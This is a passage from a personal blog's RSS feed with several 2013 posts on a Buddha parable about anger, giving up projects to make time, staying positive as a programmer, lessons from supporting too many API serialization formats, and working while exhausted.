&lt;h2 id="the-buddhas-story">The Buddha&amp;rsquo;s Story&lt;/h2>
&lt;p>One of my favorite historical figures is &lt;a href="http://en.wikipedia.org/wiki/Gautama_Buddha" title="The Buddha">Siddhattha Buddha&lt;/a>. If you&amp;rsquo;ve never
read about his life, it&amp;rsquo;s one of the more interesting historical tails, and
quite different from the mystical stories you find at the root of most
religions.&lt;/p>
&lt;p>While you can read many of his stories online, I&amp;rsquo;ve copied one of my favorites
below:&lt;/p>
&lt;blockquote>
&lt;p>Buddha was walking into the city market one day, and near the city entrance
an old bitter man was sitting on a box glaring at Buddha, who carried a
bright smile on his face. At the sight of him the old man started cursing
Buddha, telling him how pretentious he was, how much better he thought he was
and how he was not worth of the air he breathed. But Buddha simply smiled
and kept walking to the market to get what he needed.&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>The next day Buddha returned to the market and once again the old man was
there, and this time his cursing intensified, screaming and yelling at Buddha
as he walked by, cursing his mother, father and everyone else in his life.&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>This went on for the rest of the week, and finally as the Buddha was leaving
the market the man came up to him, as his curiosity had gotten the best of
him. &amp;ldquo;Buddha, every day you come here smiling and every day I curse your
name, I curse your family, and I curse everything you believe in&amp;rdquo;, the old
man said. &amp;ldquo;But every day you enter this city with a smile knowing that I
await you with my harsh tongue, and everyday you leave through the same
entrance with the same smile. I know by speaking to you now that you are not
deaf, so why do you keep on smiling while I do nothing but scream the worst
things I can think of to your face?&amp;rdquo;&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>Buddha, with the same smile still on his face, looked at the old man and
asked, &amp;ldquo;If I were to bring you a gift tomorrow morning wrapped in a beautiful
box, would you accept it?&amp;rdquo;, to which the old man replied, &amp;ldquo;Absolutely not, I
would take nothing from the likes of you!&amp;rdquo;. &amp;ldquo;Ah ha&amp;rdquo;, the Buddha replied,
&amp;ldquo;Well if I were to offer you this gift and you were to refuse, then who would
this gift belong to?&amp;rdquo;. &amp;ldquo;It would still belong to you, of course&amp;rdquo;, answered
the old man. &amp;ldquo;And so the same goes with your anger, when I choose not to
accept your gift of anger, does it not then remain your own?&amp;rdquo;&lt;/p>
&lt;/blockquote>
&lt;p>I think there is an important lesson to be learned from this story: your
emotions can be controlled, and you have the ability to choose your feelings.&lt;/p>
&lt;h2 id="perspective">Perspective&lt;/h2>
&lt;p>Maintaining a positive attitude can be challenging, especially when most people
are typically surrounded by negativity at all times:&lt;/p>
&lt;ul>
&lt;li>Horrible stories about the government and police.&lt;/li>
&lt;li>News reports which overwhelmingly focus on the negative, and very rarely
focus on the positive.&lt;/li>
&lt;li>Mean spirited comments from friends and co-workers.&lt;/li>
&lt;li>Sarcastic or bitter articles, stories, and opinions scattered about the
internet.&lt;/li>
&lt;/ul>
&lt;p>There is truly an unlimited supply of negativity in the world, which makes it
all the easier to &lt;em>go with the flow&lt;/em>, and get stuck in an always frustrated or
angry mentality.&lt;/p>
&lt;p>Did someone say something behind your back at work which made you angry? Did a
driver swerve into your lane forcing you to slam your brakes to avoid a
collision?&lt;/p>
&lt;p>While you can never escape negative situations, there is always a way to escape
needlessly negative behavior and mindsets. Your can control your emotion by
changing your perspective.&lt;/p>
&lt;p>In the story above, although the Buddha was being screamed at viciously, he
never allowed himself to accept the anger of the old man. The Buddha knew that
while he could certainly allow himself to get frustrated over this situation he
couldn&amp;rsquo;t control &amp;ndash; what good would that do? Would getting angry at the old
man help the Buddha in any way? Would it make him feel better?&lt;/p>
&lt;p>Instead of instinctively reacting to a negative situation with negativity, the
Buddha consciously made a decision to not accept the old man&amp;rsquo;s anger. Instead,
he changed his perspective on the situation, thereby changing the outcome.&lt;/p>
&lt;p>By changing your perspective of yourself, you can actively change your feelings.
Instead of viewing yourself as a &lt;em>victim of your environment&lt;/em>, view yourself as
the &lt;em>master of your environment&lt;/em>. This means that while most people tend to
get instinctively pulled into feeling one way or another, a mindful person will
analyze their thoughts and actions, and make whichever decision is best for
themselves at the time.&lt;/p>
&lt;p>One of the best ways to change your attitude over the long term is to
consciously react to situations &lt;em>after&lt;/em> thinking things through.&lt;/p>
&lt;p>Change your perspective of yourself, and you can change your very nature.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: If you&amp;rsquo;re at all interested in reading more about the fascinating life
of the Buddha, I&amp;rsquo;d highly recommend reading &lt;em>&lt;a href="http://www.amazon.com/gp/product/1928706126/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=1928706126&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="The Life of the Buddha">The Life of the Buddha&lt;/a>&lt;/em>.&lt;/p></description></item><item><title>Sacrifice</title><link>https://rdegges.com/2013/sacrifice/</link><pubDate>Thu, 28 Mar 2013 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2013/sacrifice/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2013/sacrifice/demon-sketch.png" alt="Demon Sketch" title="Demon Sketch">
&lt;/p>
&lt;p>One of the problems I (and apparently a lot of other people) have is that there
are a million things I&amp;rsquo;d like to work on at any given time, and not nearly
enough time in the day to work on them all.&lt;/p>
&lt;p>I&amp;rsquo;ve tried numerous ways to handle this in the past, but today I&amp;rsquo;d like to talk
about one method that works particularly well for me. It&amp;rsquo;s hard to do, but
brings instant relief and opens up plenty of time to get things done.&lt;/p>
&lt;h2 id="make-a-sacrifice">Make a Sacrifice&lt;/h2>
&lt;p>While this is obvious in retrospect, a great way to free up your time to work
on something new is to give something up.&lt;/p>
&lt;p>Instead of optimizing every second of your day (which is do-able, but very
difficult to maintain), I believe the better option is to make a sacrifice.&lt;/p>
&lt;p>Thinking of a new project you&amp;rsquo;d like to hack on? Maybe it&amp;rsquo;s a website you&amp;rsquo;re
sure will get a million users. Maybe it&amp;rsquo;s a basketball team you&amp;rsquo;d like to
join. Maybe it&amp;rsquo;s that book you want to write. Whatever it is, think about it.&lt;/p>
&lt;p>Is this new project something you &lt;em>really want to do&lt;/em>? Is it more important to
you than the things you&amp;rsquo;re working on currently? Would you be willing to give
something up in order to work on this new project?&lt;/p>
&lt;p>If the answer to any of the above questions is &lt;em>no&lt;/em>, maybe you should
reconsider. If you&amp;rsquo;re not willing to sacrifice an in-progress project, that&amp;rsquo;s
a clear giveaway that your new idea may not be worth pursuing.&lt;/p>
&lt;p>Still not sure? Throw you new idea onto a list and wait it out.&lt;/p>
&lt;p>If you&amp;rsquo;re willing to give something up to work on your new idea, then &lt;em>do it&lt;/em>!
Don&amp;rsquo;t delay! Don&amp;rsquo;t half-ass two things, whole-ass one thing (credit for this
saying goes to &lt;a href="http://en.wikipedia.org/wiki/Ron_Swanson" title="Ron Swanson on Wikipedia">Ron Swanson&lt;/a>).&lt;/p>
&lt;h2 id="practical-advice">Practical Advice&lt;/h2>
&lt;p>In my own experience, I find it really, &lt;em>really&lt;/em> hard to let go of projects
I&amp;rsquo;ve already started working on. Most of them were my ideas, and as such, it&amp;rsquo;s
hard to kill them off. I have some innate attachment to my projects
(particularly websites) that makes me want to keep holding onto them no matter
what (even after losing interest).&lt;/p>
&lt;p>While I&amp;rsquo;ve yet to perfect the act of successfully managing my own projects,
I&amp;rsquo;ve made some great progress over the past year in this arena. Here&amp;rsquo;s how I
do things.&lt;/p>
&lt;h3 id="keep-a-project-list">Keep a Project List&lt;/h3>
&lt;p>Whenever I have a new idea for a project I think might be fun to work on
(whether it&amp;rsquo;s a website, open source project, business, article, etc.) I
immediately throw it into a Google doc I maintain, titled &lt;em>Ideas&lt;/em>.&lt;/p>
&lt;p>In this document I keep my projects sorted by category:&lt;/p>
&lt;ul>
&lt;li>Work projects.&lt;/li>
&lt;li>Open source projects.&lt;/li>
&lt;li>Business projects.&lt;/li>
&lt;li>Writing.&lt;/li>
&lt;/ul>
&lt;p>This way, no matter what I decide, I&amp;rsquo;ve at least got a centralized collection
of my ideas that I can refer to in the future.&lt;/p>
&lt;h3 id="keep-a-todo-list">Keep a TODO List&lt;/h3>
&lt;p>In addition to my project list, I also keep a Google doc titled &lt;em>TODO&lt;/em> open at
all times. This is where I store a list of the things I&amp;rsquo;m currently committed
to doing:&lt;/p>
&lt;ul>
&lt;li>Work projects.&lt;/li>
&lt;li>Personal projects.&lt;/li>
&lt;li>Meetings.&lt;/li>
&lt;li>etc.&lt;/li>
&lt;/ul>
&lt;p>Each day when I sit down at the computer, this is the first thing I open up.
This lets me easily pick something of high priority to work on, and immediately
make some progress towards my goals (whatever they are).&lt;/p>
&lt;p>Every time I finish one of the things on my TODO list, I immediately remove it
from my list completely. Other than the great feeling that goes along with
removing items from my TODO list, I can easily look at the size of my TODO list
and instantly know whether or not I&amp;rsquo;m currently overcommitted.&lt;/p>
&lt;p>If my list has more than about 20 items, I know I need to start saying &lt;em>no&lt;/em>
more frequently, and if my list is getting too short (this has never happened),
I&amp;rsquo;d know that I should probably get to work ;)&lt;/p>
&lt;h3 id="making-sacrifices">Making Sacrifices&lt;/h3>
&lt;p>When I decide to pursue a new idea, I carefully analyze my TODO list and try to
determine what is least important to me at the time. It&amp;rsquo;s incredibly difficult
to review a list of things you care about knowing you&amp;rsquo;re going to be killing
one of them off, but incredibly rewarding.&lt;/p>
&lt;p>Once I&amp;rsquo;ve found the project I know needs to die, I&amp;rsquo;ll take a few minutes to
completely kill it off. This might mean:&lt;/p>
&lt;ul>
&lt;li>Emailing the people involved and letting them know I&amp;rsquo;m done with the
project, and that even though I&amp;rsquo;d love to keep working on it I simply don&amp;rsquo;t
have the time.&lt;/li>
&lt;li>Calling or talking to my collaborators (if necessary).&lt;/li>
&lt;li>Shutting down any dependent services (am I paying for servers to power
this?).&lt;/li>
&lt;/ul>
&lt;p>And lastly, I&amp;rsquo;ll remove the item from my TODO list, effectively sealing the
project&amp;rsquo;s fate.&lt;/p>
&lt;p>This step is important because it&amp;rsquo;s all too easy to trick yourself into
partially working on multiple projects instead of making a &lt;em>clean cut&lt;/em> &amp;ndash; but I
promise that if you do things this way, you&amp;rsquo;ll regret it in the long run.&lt;/p>
&lt;p>Committing yourself to too many projects concurrently is a recipe for disaster.
It leads to stress, frustration, and poor performance. It&amp;rsquo;s a much better idea
to firmly decide on your sacrifices, and quickly kill them off immediately
after you make your decision.&lt;/p>
&lt;h2 id="its-difficult">It&amp;rsquo;s Difficult&lt;/h2>
&lt;p>Making sacrifices, especially when it comes to deciding what you&amp;rsquo;re going to
focus on with your time and energy, is a difficult thing to do.&lt;/p>
&lt;p>Each time I do it, while I know it&amp;rsquo;s for the best, I can&amp;rsquo;t help but feel sad.&lt;/p>
&lt;p>One of the things I&amp;rsquo;ve tried to do as I make sacrifices is to do my best to
maintain a positive attitude. Instead of focusing on the &lt;em>killing&lt;/em> aspect,
I&amp;rsquo;ll try to focus on how this is a good move for me right now, and how life&amp;rsquo;s
too short to focus on everything and accomplish nothing.&lt;/p>
&lt;p>In the end, you&amp;rsquo;ve got to make the best decision for yourself &amp;ndash; so don&amp;rsquo;t feel
too guilty about it.&lt;/p>
&lt;p>The next time you&amp;rsquo;re looking to get started on that new idea, don&amp;rsquo;t forget to
make a sacrifice.&lt;/p></description></item><item><title>The Positive Programmer</title><link>https://rdegges.com/2013/the-positive-programmer/</link><pubDate>Tue, 26 Mar 2013 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2013/the-positive-programmer/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2013/the-positive-programmer/kenpachi-smiling-sketch.png" alt="Kenpachi Smiling Sketch" title="Kenpachi Smiling Sketch">
&lt;/p>
&lt;p>Is it just me, or is the technical community developing a more and more
negative outlook in recent years? I hate to complain, but it seems like every
week the development community is up in arms about some huge outrage, whether
it be regarding code of conduct policies, sexism, startup criticism,
craftsmanship, or any other topic.&lt;/p>
&lt;p>If you&amp;rsquo;re a programmer and stay up-to-date with community happenings via
&lt;a href="https://news.ycombinator.com/" title="Hacker News">Hacker News&lt;/a>, you&amp;rsquo;ll almost certainly notice a trend: there are lots of
popular articles focusing on the negatives (mean rants, public shaming, outrage
about various issues, etc.). And if you happen to participate in article
discussion, you&amp;rsquo;ll get an even greater taste of the negative attitudes becoming
more and more pervasive in the community: articles flooded with a mix of
slanderous (and more frequently, downright mean) comments that really bring
everyone down =/&lt;/p>
&lt;p>Personally, I like to focus on the positive. &lt;strong>^^&lt;/strong>&lt;/p>
&lt;h2 id="the-problem-with-negativity">The Problem with Negativity&lt;/h2>
&lt;p>My problem with negativity comes primarily from personal experience. I wasn&amp;rsquo;t
always as happy as I am now, and I certainly didn&amp;rsquo;t have a positive attitude
most of my life.&lt;/p>
&lt;p>Several years ago I had just left university (I dropped out after my second
year of computer science), and decided to start working in the field. While
I&amp;rsquo;ve always loved programming, throughout my university experience I was one of
the most negative people I&amp;rsquo;ve known. I was extremely judgemental, short of
temper, and generally quick to dismiss other people and their ideas.&lt;/p>
&lt;p>When I left school and started working in the field I realized exactly how
miserable I really was: instead of being able to enjoy every day, enjoy my
relationships, and enjoy my work &amp;ndash; I was instead overly focused on the
negatives: how unfair things were, how I deserved &lt;em>more&lt;/em>, how other people were
causing problems for me, and how I was vastly superior to everyone else.&lt;/p>
&lt;p>I distinctly remember coming home from work and sitting in the bathtub one day,
thinking about myself, and where I wanted to be in five years. The first (and
only) thing that immediately came to mind was that I wanted to be a better
person: I wanted to be smarter, more successful, and &lt;em>happy&lt;/em>.&lt;/p>
&lt;p>It wasn&amp;rsquo;t until that moment I realized that I was &lt;em>truly unhappy&lt;/em> with my
current self, and really needed to make some serious personal changes if I
could ever enjoy my life. Being discontent with yourself is a horrible
feeling. You feel angry, frustrated, and cheated. &lt;em>Am I doing something wrong?
Why do I feel this way?&lt;/em> Without realizing it, I had been turning my internal
frustration and anger outwards, with horrible consequences.&lt;/p>
&lt;p>It was at that moment I decided to actually focus on real personal development.
Instead of allowing myself to play the victim and slowly let my frustration and
anger eat away at me, I decided to take my future into my own hands and make
whatever changes necessary to make myself a better person.&lt;/p>
&lt;h2 id="the-positive-programmer">The Positive Programmer&lt;/h2>
&lt;p>In the beginning I had a really difficult time training myself to let go of my
bad habits and negativity. Your personal outlook and mental response to
every day situations is something that comes naturally. It takes a lot of
energy, education, and practice to let go of bad behaviors and teach yourself
new (healthier) behaviors.&lt;/p>
&lt;p>After doing some basic Google research: &lt;em>How can I be happy?&lt;/em>, &lt;em>How can I
become a better person?&lt;/em>, etc. &amp;ndash; I realized that I needed to start out by
re-educating myself. It&amp;rsquo;s very difficult to find answers to questions you
don&amp;rsquo;t yet know.&lt;/p>
&lt;p>The first thing I did was randomly pick a few highly reviewed &lt;em>personal
development&lt;/em> books on Amazon and read them. Instantly, I began to realize that
improving yourself as a person is all about being positive.&lt;/p>
&lt;p>Instead of focusing on the negative in life, focus on the positives. One of the
most important truths I&amp;rsquo;ve learned came from my study of minimalism.&lt;/p>
&lt;p>What is happiness really? Happiness is being content with yourself and your
surroundings. What&amp;rsquo;s the best way to be content with yourself and your
surroundings? To accept reality as it is.&lt;/p>
&lt;p>All feelings of frustration, anger, and negativity are generated internally.
If you&amp;rsquo;re driving down the freeway and another driver cuts you off, forcing you
to slam on your brakes to avoid a collision &amp;ndash; most people would get angry at
the other driver. It&amp;rsquo;s a natural reaction, after all. The person ahead of you
did something they shouldn&amp;rsquo;t do, which caused you an inconvenience. In your
mind, they&amp;rsquo;ve done something that doesn&amp;rsquo;t align well with your version of
reality, so your brain makes you feel angry and frustrated.&lt;/p>
&lt;p>The simplest way to avoid getting angry and frustrated (not only with yourself,
but with others as well) is to practice compassion. Instead of viewing the
world through your own point of view, play the role of a calm observer. Accept
the behavior of others as it is, and don&amp;rsquo;t allow yourself to project your
desired behavior onto others. Instead of allowing yourself to get angry over
situations you can&amp;rsquo;t control, learn to calmly accept them and carry on.&lt;/p>
&lt;p>The ability to rationally analyze situations and make mindful decisions will
not only help you maintain a positive outlook on life, but will help you feel
happier, and allow you to focus on more important topics on a day to day basis.&lt;/p>
&lt;p>Instead of wasting energy getting upset and angry with others, you can instead
focus on doing the things that are important to you:&lt;/p>
&lt;ul>
&lt;li>Enjoying your relationships.&lt;/li>
&lt;li>Fully enjoying your work.&lt;/li>
&lt;li>Taking control of your life and growing as a person.&lt;/li>
&lt;/ul>
&lt;p>Since I decided to invest time in making myself a better person, I&amp;rsquo;ve
completely changed my day-to-day attitude, behavior, and outlook. Instead of
feeling unhappy and discontent with myself, I&amp;rsquo;ve been able to build a great
life that allows me to really enjoy each day.&lt;/p>
&lt;h2 id="some-closing-thoughts">Some Closing Thoughts&lt;/h2>
&lt;p>Living with a negative attitude is a horrible burden, something I wouldn&amp;rsquo;t wish
on anyone. It really pains me to see so many of my peers stuck in a continuous
cycle of negative thinking. Focusing on the negatives is the simplest way to:&lt;/p>
&lt;ul>
&lt;li>Make yourself unhappy.&lt;/li>
&lt;li>Sacrifice your personal development and growth.&lt;/li>
&lt;li>Miss out on great opportunities and obvious ways to become a better person.&lt;/li>
&lt;li>Alienate yourself from other great people doing great things.&lt;/li>
&lt;/ul>
&lt;p>My advice to you if you&amp;rsquo;re stuck in a rut like I was: make a commitment to
yourself to focus on personal development &amp;ndash; it&amp;rsquo;s &lt;em>never&lt;/em> too late to get
started.&lt;/p>
&lt;p>Is it easy to recondition yourself? No way. It will be a slow process:
nothing will happen overnight.&lt;/p>
&lt;p>Take small steps. Here are some great ways to get started:&lt;/p>
&lt;ul>
&lt;li>Pick up a good personal development book. Some good starting topics to
research are minimialism, mindfulness meditation, happiness,
procrastination, and talent. If those don&amp;rsquo;t sound immediately appealing,
try reading a biography on someone you greatly respect.&lt;/li>
&lt;li>Be mindful of your thoughts throughout the day. The next time you find
yourself thinking &lt;em>What the hell is that person doing?&lt;/em> take a second to
think about why you feel that way. Are you angry? Are you overreacting?
Don&amp;rsquo;t be angry with yourself, just acknowledge your thoughts and make a
mental note of why you felt that way.&lt;/li>
&lt;li>Remove negativity from your immediate surroundings. Easy ways to get
started are to unfollow people on twitter who continuously tweet negative
things, stop reading news, and don&amp;rsquo;t participate in negative conversations
with friends and family.&lt;/li>
&lt;li>Keep your goal in mind at all times. Throughout the day you should tell
yourself (especially when you&amp;rsquo;re feeling negative) that your goal is to
become a better person, and the only way to do that is to consciously work
at it! If you need motivation, don&amp;rsquo;t feel bad about getting help: watching
motivational videos, listening to your favorite songs, etc.&lt;/li>
&lt;/ul>
&lt;p>Reconditioning yourself to be a more positive person is no easy task, but I can
tell you from experience that it&amp;rsquo;s worth every bit of effort you put into it.
Changing your behavior is possible with enough focus, motivation, and rational
thinking.&lt;/p>
&lt;p>If you&amp;rsquo;re stuck in a rut and want someone to chat with, feel free to
&lt;a href="mailto:r@rdegges.com" title="Randall Degges' Email">shoot me an email&lt;/a>, I&amp;rsquo;d love to help!&lt;/p></description></item><item><title>API Company Mistakes - Part 1 - Serialization Formats</title><link>https://rdegges.com/2013/api-company-mistakes-part-1-serialization-formats/</link><pubDate>Mon, 25 Mar 2013 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2013/api-company-mistakes-part-1-serialization-formats/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2013/api-company-mistakes-part-1-serialization-formats/angry-dragon-sketch.png" alt="Angry Dragon Sketch" title="Angry Dragon Sketch">
&lt;/p>
&lt;p>Over the past few years I&amp;rsquo;ve been spending more and more time building and
working with web APIs. To me, APIs are absolutely fascinating, and they&amp;rsquo;ve
quickly become my favorite branch of technology to work on.&lt;/p>
&lt;p>Last year, I even built a quite successful API company (&lt;a href="https://www.opencnam.com/" title="OpenCNAM - A Simple Caller ID API">OpenCNAM&lt;/a>), which
allows developers to easily get Caller ID data. I&amp;rsquo;ve also built a good number
of other APIs over the past several years:&lt;/p>
&lt;ul>
&lt;li>An API that allows users to create, edit, and modify teleconferencing
chat rooms.&lt;/li>
&lt;li>An API that allows users to instantly create an ephemeral PostgreSQL database
(&lt;a href="http://www.postgression.com/" title="A PostgreSQL Database for Every Test Case">postgression&lt;/a>).&lt;/li>
&lt;li>An API for compressing HTML pages.&lt;/li>
&lt;li>An API for storing, approving, and displaying programming quotes.&lt;/li>
&lt;li>And quite a few others.&lt;/li>
&lt;/ul>
&lt;p>Through my experiences, I&amp;rsquo;ve had some successes and some failures. Each time I
bring these points up with friends, they always tell me to &lt;em>write about it&lt;/em>, so
I thought it&amp;rsquo;d be interesting to chronicle my mistakes here in hopes that
you&amp;rsquo;ll learn from my mistakes.&lt;/p>
&lt;h2 id="the-story">The Story&lt;/h2>
&lt;p>This first lesson comes from my experiences building &lt;a href="https://www.opencnam.com/" title="OpenCNAM - A Simple Caller ID API">OpenCNAM&lt;/a> last year.&lt;/p>
&lt;p>When I started working on OpenCNAM, my goal was to make the simplest, easiest to
use Caller ID API in the world. If you&amp;rsquo;re at all involved in the telephony
world, you probably know how complex something so simple can be. While
retrieving Caller ID data sounds straightforward, due to legal issues and big
companies, there were practically no options available to developers before
OpenCNAM.&lt;/p>
&lt;p>Anyhow, after I built out the initial minimum viable product (MVP) and launched
it to the world, I started getting lots of user email asking for various bits of
functionality.&lt;/p>
&lt;p>You see, initially I had tried to keep things simple and had OpenCNAM return
only JSON responses. Soon after launch, I got several email from developers
asking for other serialization formats: XML, JSONp, and YAML.&lt;/p>
&lt;p>Not wanting to let potential users down, I immediately got to work and quickly
added support for the serialization formats listed above, as well as several
others (an HTML format to make users testing queries in their web browser
happy, and a plain text format to make integration with certain phone systems
simpler).&lt;/p>
&lt;p>Unfortunately, these additional serialization formats ended up causing numerous
problems, one of which was that various third party libraries I used to support
these formats had issues:&lt;/p>
&lt;ul>
&lt;li>The XML library was clunky. Instead of requiring me to add a line of code
to output my object as an XML object, I had to spend a full day figuring
out that I needed 30 additional lines of code to properly build the XML
tree response manually. Ugh.&lt;/li>
&lt;li>The YAML library had conflicting dependencies with my web application, which
took a long time to debug and eventually caused me to revert back to an
older version (with less documentation).&lt;/li>
&lt;/ul>
&lt;p>In addition to my annoyance of working with the above third party libraries, I
also realized that many users were mistakenly using the HTML serialization
format on accident in production (after having tested it out in their web
browser), which ended up generating a lot of support emails from users confused
that their applications were displaying HTML error messages when Caller ID data
couldn&amp;rsquo;t be found.&lt;/p>
&lt;p>After answering many support email and rewriting my developer documentation to
sufficiently explain the new serialization formatting options, I also noticed
another discouraging problem with my newly supported formats: almost nobody was
using them!&lt;/p>
&lt;p>Despite initial email I received asking for XML, JSONp, and YAML formatting
options, I noticed that they were getting very little usage.&lt;/p>
&lt;p>Which brought my to my realization: &lt;em>I&amp;rsquo;ve made a big mistake&lt;/em>! I wasted several
days (and lots of time) adding support for numerous serialization formats that:&lt;/p>
&lt;ul>
&lt;li>Confused my users.&lt;/li>
&lt;li>Made my documentation much more complex for the average user.&lt;/li>
&lt;li>Were very rarely used!&lt;/li>
&lt;/ul>
&lt;p>My first thought was to just remove the new serialization formats, clean up my
code base, and simplify things. After thinking this through, however, I
realized that one of the largest mistakes an API company can make is to remove
previously advertised functionality (why would developers trust you to provide
data to them if you&amp;rsquo;re so quick to remove functionality?).&lt;/p>
&lt;p>My final decision was to endure the annoyance I had created for myself, and
maintain the serialization formats I&amp;rsquo;d created, despite their added
complexities.&lt;/p>
&lt;h2 id="the-lesson">The Lesson&lt;/h2>
&lt;p>What you can take away from my mistake is simple: if you&amp;rsquo;re building an API
company, try to keep things as simple as possible. In my case, I should have
simply picked a serialization format and stuck with it (e.g. JSON), especially
since JSON is becoming more and more ubiquitous in the web API world, and other
formats are slowly dying out.&lt;/p>
&lt;p>While serialization formats are sure to come and go, it&amp;rsquo;s a far better idea to
pick one and go with it for a while than it is to attempt to keep everyone
happy and support everything under the sun.&lt;/p>
&lt;p>Having a more restricted feature set will make your product code simpler, your
product documentation simpler, your client libraries much simpler, and will most
definitely save you a headache or two.&lt;/p></description></item><item><title>A State of Exhaustion</title><link>https://rdegges.com/2013/a-state-of-exhaustion/</link><pubDate>Sun, 24 Mar 2013 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2013/a-state-of-exhaustion/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2013/a-state-of-exhaustion/skeleton-hanging-sketch.png" alt="Skeleton Hanging Sketch" title="Skeleton Hanging Sketch">
&lt;/p>
&lt;p>Over the course of the past month, I&amp;rsquo;ve been completely exhausted. Last month
I packed up all my stuff and moved into my friend &lt;a href="http://zaidox.com/" title="Alven Zaidos' Personal Website">Alven&amp;rsquo;s&lt;/a> spare bedroom
with my &lt;a href="http://hardlyfunny.com/" title="Hardly Funny">wife&lt;/a> and dog while we looked for a new place to live in bay area,
CA (thanks, Alven!).&lt;/p>
&lt;p>A few days after arriving, both my wife and I came down with a really bad cold
(that is still lingering, almost a month later). For almost three weeks we
both spent all our time in bed, consuming a ridiculous amount of tissues, and
heavily abusing both cough syrup and ibuprofen just to make it through the day.&lt;/p>
&lt;p>On top of the crazy move and illness, I also had a ton of social commitments
and work stuff going on. Last month I attended two amazing conferences
(Heroku&amp;rsquo;s Waza conference and pycon US), while also launching several new
(large) work projects that each required a lot of effort.&lt;/p>
&lt;p>To keep the story short: I was completely physically exhausted.&lt;/p>
&lt;h2 id="working-while-exhausted">Working While Exhausted&lt;/h2>
&lt;p>While sick, I spent quite a lot of time in bed on my laptop. Although I didn&amp;rsquo;t
have any energy, I was actually quite surprised to find myself routinely
churning out code, finishing tasks, and generally making lots of solid work
progress.&lt;/p>
&lt;p>After the first week of lying in bed writing code and finishing tasks, I
reviewed my progress (expecting to see an enormous productivity gap), but was
pleasantly surprised to see that despite being sick and having no energy, I had
actually finished a tremendous amount of work ahead of schedule!&lt;/p>
&lt;p>&lt;em>How could this be?!&lt;/em>&lt;/p>
&lt;h2 id="what-i-discovered">What I Discovered&lt;/h2>
&lt;p>The following week I decided to carefully monitor my work progress and pay
closer attention to my thought processes throughout the day while working.&lt;/p>
&lt;p>What I noticed was that although I felt like crap physically, and had little to
no energy to spare throughout the day, I actually had a lot less mental
resistance to working, which ended up positively affecting my productivity.&lt;/p>
&lt;p>During a typical workday I&amp;rsquo;ll open up my laptop, review my list of tasks for
the day, and go through them one by one getting as much finished as possible.
The catch here is that while working, I often find myself distracted by a
million little things: email, social networks, news, instant messaging, phone
calls, etc. In any given day, these tasks probably take anywhere from one to
four hours of my time, and take a heavy toll on my focus &amp;ndash; it&amp;rsquo;s a lot harder
to get stuff done when you&amp;rsquo;re constantly getting distracted.&lt;/p>
&lt;p>Although I&amp;rsquo;ve solved this problem in the past (using the
&lt;a href="http://www.amazon.com/gp/product/1934356506/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=1934356506&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="The Pomodoro Technique">pomodoro technique&lt;/a>), I&amp;rsquo;ve unfortunately let the good habits slip aside over
the past year and fallen back into the trap of succumbing to
&lt;em>little distractions&lt;/em> and silently suffering with split focus.&lt;/p>
&lt;p>While I was sick, however, this problem went away completely. Maybe it was due
to the fact that I was just &lt;em>too tired&lt;/em> to do anything other than absolutely
necessary &amp;ndash; but each time I opened my laptop I just started grinding through
my TODO list with no hesitation whatsoever.&lt;/p>
&lt;p>Sure, I wasn&amp;rsquo;t working on anything particularly creative during this period (I
doubt I would have made any progress if that were the case), but I was
successfully finishing important tasks that I had previously laid out, and ended
up making a positive impact on the company even while feeling completely
exhausted.&lt;/p>
&lt;h2 id="reflecting-on-exhaustion">Reflecting on Exhaustion&lt;/h2>
&lt;p>After I analyzed my working patterns and noticed that I was able to really
grind through a lot of straightforward tasks while completely exhausted, I
tried my best to recollect any other &lt;em>high productivity&lt;/em> times to see if there
was any correlation between my personal productivity and my level of tiredness.&lt;/p>
&lt;p>The first thing that came to mind were the clear productivity benefits I got
after I started lifting weights regularly. When I first started lifting
weights at the gym during the day, I noticed that I was able to get an enormous
amount of work finished after getting back home. This actually affected me so
much that I changed my work schedule around so that I&amp;rsquo;d go to the gym first
thing in the morning (after breakfast), then work immediately afterwards, in
order to reap the productivity benefits.&lt;/p>
&lt;p>Although I didn&amp;rsquo;t classify it that way initially (I simply thought working out
was a productivity booster itself), after my recent reflections, I can&amp;rsquo;t help
but think there&amp;rsquo;s a clear pattern here: &lt;em>working while exhausted allows me to
easily grind through tasks without distraction&lt;/em>.&lt;/p>
&lt;p>Though I truly love my work, I find that when I&amp;rsquo;m full of energy I&amp;rsquo;m so much
more prone to distraction: hopping from one thing to the next without steady
focus.&lt;/p>
&lt;p>Over the next several months I&amp;rsquo;m going to shift my work around to use this to
my advantage. I&amp;rsquo;m going to reserve the first part of my day (pre-workout) for
more creative tasks, and reserve the second half of my day (post-workout) for
&lt;em>getting shit done&lt;/em> and generally crossing things off of my TODO list.&lt;/p>
&lt;p>I&amp;rsquo;ll let you know how it goes.&lt;/p></description></item><item><title>Heroku Dynos (in Depth)</title><link>https://rdegges.com/2013/heroku-dynos-in-depth/</link><pubDate>Sun, 10 Feb 2013 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2013/heroku-dynos-in-depth/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2013/heroku-dynos-in-depth/t-rex-sketch.png" alt="T-Rex Sketch" title="T-Rex Sketch">
&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: This article is all about &lt;a href="http://www.heroku.com/" title="Heroku">Heroku&lt;/a>. If you&amp;rsquo;ve never heard of them,
you may want to skip this one &amp;gt;:)&lt;/p>
